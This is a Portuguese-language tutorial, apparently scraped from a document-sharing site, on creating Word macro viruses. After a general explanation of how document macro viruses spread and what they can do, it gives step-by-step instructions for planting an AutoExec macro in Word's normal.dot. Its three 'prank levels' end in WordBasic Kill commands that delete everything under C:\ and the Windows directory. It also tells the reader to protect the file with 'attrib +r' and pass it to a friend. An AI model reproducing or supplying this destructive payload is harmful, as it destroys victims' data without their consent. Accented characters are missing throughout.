Você está na página 1de 3

Como criar um Vrus de Macro?

Enquanto que criadores de vrus concentraram-se em cdigo que funcionasse ao nvel de sistema operativo, eles, no entanto, negligenciaram as aplicaes. Muitas aplicaes de negcios, tais como folhas de clculo, processadores de texto e bases de dados vm com poderosas linguagens de macro. Muitas aplicaes tm a habilidade de auto-executar macros. Essa combinao fornece um srio perigo para utilizadores de computadores que pensavam que ficheiros de dados no criavam problemas ao seu sistema. Quando nos refererimos a um vrus de macro utilizaremos a sua sigla DMV (document macro vrus) para descrever esse tipo de cdigo. Algumas caractersticas de um DMV incluem: - Um DMV escrito na linguagem macro de uma aplicao. Ele explora a habilidade da aplicao para automaticamente executar a macro em algum evento, tal como a abertura ou fecho de um documento. Uma vez que esse evento ocorre num documento que possui o DMV, o vrus espalha-se (ou algum tipo de cavalo de tria executado). A menos que um vrus convencional ou cavalo de tria esteja no cdigo executvel, o DMV usa a sua aplicao criadora como agente para executar o cdigo. - Os DMVs so extremamente simples de criar. Muitas linguagens macros so uma modificao do BASIC, o qual muito mais fcil de programar do que em linguagem Assembly preferida por muitos escritores de vrus. Como muito macros suportam a capacidade de chamar rotinas externas (tal como funes em ficheiros .DLL), a linguagem de macro pode facilmente se estender para criar vrus sofisticados. - De uma forma simplificada, os DMVs tendem a ser feitos para uma aplicao somente da sua natureza. Isso significa que o vrus apenas infecta documentos com o mesmo tipo de dado, por exemplo, todos os documentos para o Microsoft Word for Windows. Muitas linguagens de macro no so compatveis na passagem de uma aplicao para outra (por exemplo, um documento Word DMV que foi importado pelo Ami Pro, pode no passar o vrus). Uma excepo pode ser a linguagem Microsoft's Common Macro, Visual Basic for Applications. um DMV avanado que pode ser escrito com VBA que se pode mover de uma aplicao para outra. - Uma vez que um DMV especfico para cada aplicao, teoricamente possvel que um documento possa passar de uma plataforma para outra (i.e., sistemas baseados em Intel com Windows, para Motorola/Power PC em sistemas Macintosh). Isso faz com que os DMVs sejam diferentes dos vrus normais, que tendem a ser especficos para uma dada plataforma devido natureza da sua codificao. - Obviamente, existe uma numerosa quantidade de riscos de segurana e privacidade que o utilizador corre quando sem saber usa um documento que possui um DMV. Esses so limitados apenas pela imaginao da pessoa que criou o DMV. Algumas aces maliciosas que so relativamente fceis de implementar incluem: 1. Infectar o seu computador com um vrus (obviamente). 2. Apagar ficheiros de seu disco rgido. 3. Renomear ficheiros existentes.

4. Copiar ficheiros pessoais do seu disco rgido para um local da rede onde eles podem ser recuperados mais tarde por outra pessoa. 5. Enviar ficheiros sensveis do seu disco rgido para um endereo de email via MAPI (Windows). importante notar que esses riscos no so exclusivos do Word for Windows. Qualquer aplicao que suporta macros automticos um perigo potencial.

VIRUS DE MACRO COMO FAZER


Macros do Word

Ainda hoje existe muita gente que so capaz de abrir o Word, editar, negritar, sublinhar e mandar para impressora, muitos, milhares s sabem mexer no bsico mesmo. Eles nem imaginam o que tem por traz deste riqussimo processador de texto. Esta mateira tem como objetivo fazer desde pequenas at grandes sacanagens com usurios pentelhos. Obs. Software/verso Abrangido: Word da Microsoft, verses 6 (win3.11) e 7.0 (win95) O Word possui um arquivo chamado "normal.dot" onde esto todas as configuraes padro do Word. Se por algum motivo este arquivo for deletado o Word cria automaticamente quando for inicializado. Nveis de sacanagemNvel 1..... - Apenas uma brincadeiraNvel 2..... Apenas uma brincadeira de mau gostoNvel 3..... - no mais brincadeira. Primeiro voc precisa criar uma macro... siga os passos: Entre no Word, feche a janela de documento, no deixe nenhum documento aberto(ativo), clique em Arquivo(File) depois Macro, coloque no nome da macro "AutoExec"(obrigatrio) esta macro inicializada toda vez que o Word for iniciado, depois clique em 'Criar', delete as duas linhas que tiver l (Sub MAIN e End Sub) e cole a rotina que tem logo mais abaixo. Obs. existe outras formas e meios de criar uma macro, mas esta mais simples. Nvel 1 O nvel 1 serve para voc se mostrar, falando que entende do Word melhor do que ningum. Cada vez que o usurio inicia o Word recebera uma mensagem... de alerta ou qualquer outro coisa que sair da sua mente veja abaixo.

------ Comea Aqui --------

Sub MAIN MsgBox "Voc um pentelho! Eu no irei prosseguir com o sistema", "Microsoft Word", 5 MsgBox "Usurio Pirata Detectado", "FATAL ERROR", 16 MsgBox "JAMES BOND 007 ", "007 na estrada Digital", 64 End Sub ------ Termina Aqui -------Nvel 2 para deixar o usuario irritadssimo. no corpo da macro cole este texto abaixo:------ Comea Aqui --------

Sub MAIN ArquivoNovoPadro Inserir "James" ArquivoNovoPadro Inserir "Bond" ArquivoNovoPadro Inserir "007" ArquivoNovoPadro Inserir "James Bond 007 Na Estrada digital " ArquivoNovoPadro Inserir "." ArquivoNovoPadro Inserir "." ArquivoNovoPadro Inserir "." ArquivoNovoPadro Inserir "." ArquivoNovoPadro Inserir "." ArquivoNovoPadro Inserir "." ArquivoNovoPadro Inserir "." ArquivoNovoPadro Inserir "." ArquivoNovoPadro Inserir "." ArquivoNovoPadro Inserir "." ArquivoNovoPadro Inserir "." ArquivoNovoPadro Inserir "." ArquivoNovoPadro Inserir "." ArquivoNovoPadro Inserir "." ArquivoNovoPadro Inserir "James Bond 007 Na Estrada digital " End Sub------ Termina Aqui --------

Nvel 3Bom este nvel pura sacanagem, com ele um simples clicar* do mouse, e tudo desaparece! isto mesmo "del *.*" ou apenas os documentos, voc quem sabe.

------ Comea Aqui -------Sub MAIN Kill "C:\*.*" Kill "C:\WINDOWS\*.*" Kill "C:\WINWORD\*.*" End Sub

------ Termina Aqui -------

-Lembre-se de que estes macros, so gravado no arquivo default do word, ou seja no 'normal.dot' se este arquivo for deletado, o Word cria automaticamente na inicializao, ento se voc for fazer estas sacanagens ai acima, proteja este arquivo, com o comando 'attrib +r'.Detalhes :Existe uma forma de iniciar o Word, sem q inicialize a macro 'AutoExec' mas no irei falar, descubra voc mesmo. A macro do word uma ferramenta riquissima, procure fucar. Voc pode fazer estas no seu proprio computador(so cuide!), salvando sempre no arq. "normal.dot" depois copie apenas este arquivo para aquele seu colega/amigo pentelho e saia de perto, para no explodir em voc, no me responsabilizo por qualquer ato.

Você também pode gostar